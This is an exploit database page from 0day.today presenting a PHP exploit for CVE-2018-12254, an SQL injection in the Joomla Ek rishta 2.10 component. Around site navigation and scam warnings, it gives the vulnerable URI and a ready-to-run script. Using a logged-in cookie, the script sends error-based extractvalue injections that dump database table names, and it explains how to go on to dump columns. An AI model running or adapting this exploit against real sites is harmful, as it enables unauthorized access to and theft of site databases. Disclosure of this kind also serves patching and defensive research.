0day.today - Biggest Exploit Database in the World.
![](/img/logo_green.jpg)
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earnGOLD
Administration of this site uses the official contacts. Beware of impostors!
![We DO NOT use Telegram or any messengers / social networks!](/img/no_telegram_big.png)
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Joomla Ek rishta 2.10 Component - SQL Injection Vulnerability
Author
Risk
![](/img/risk/critlow_3.gif)
Security Risk High
]0day-ID
Category
Date add
CVE
Platform
# Title: SQL Injection Joomla Component Ek rishta 2.10 - SQL Injection # Exploit Author: Guilherme Assmann # Vendor Homepage:https://www.joomla.org/ # Version: 2.10 # Tested on: MacOSX, Safari, Chrome # Download: https://extensions.joomla.org/extension/ek-rishta/ # CVE: CVE-2018-12254 # Vulnerability Description # To exploit this vulnerability, the user must be logged on to the platform! # the vulnerability allows SQL Injection via the # PATH_INFO to a home/requested_user/Sent%20interest/[username] URI. # more information(en): # https://fireshellsecurity.team/cve-2018-12254-sql-injection-joomla-component/ # more information(pt-br): https://m4k4br0.github.io/sql-injection-joomla-component/ # more information: https://desecsecurity.com/ # exploit code to dump tables: <?php // CVE-2018-12254 // after dump the tables, use %60%23table_name%60 to dump columns... $host = $argv[1]; $cookie = $argv[2]; // Usage: php exploit.php [http://[HOST]/](http://[host]/) “Cookie: foo=bar” function exploit($host,$ck){ $urls = sqli(); $ch = curl_init(); foreach($urls as $url){ curl_setopt($ch,CURLOPT_URL,$host.$url); curl_setopt($ch,CURLOPT_RETURNTRANSFER,true); curl_setopt($ch,CURLOPT_USERAGENT,":)"); curl_setopt($ch,CURLOPT_HTTPHEADER, [$ck]); curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,100); curl_setopt($ch,CURLOPT_TIMEOUT,100); $response = curl_exec($ch); $s = strpos($response,"#__"); echo substr($response,$s,30)."\n"; } } function sqli(){ $uri = "/index.php/home/requested_user/Sent%20interest/1'or%20"; for($i=0;$i<100;$i++){ $value = $i+1; $data[$i] = $uri.str_replace("+","%20",urlencode('extractvalue(0xa,concat(0xa,(select table_name from information_schema.tables where table_schema=database() limit '.$value.',1))) #')); } return $data; } exploit($host,$cookie); ?> # 0day.today [2024-07-07] #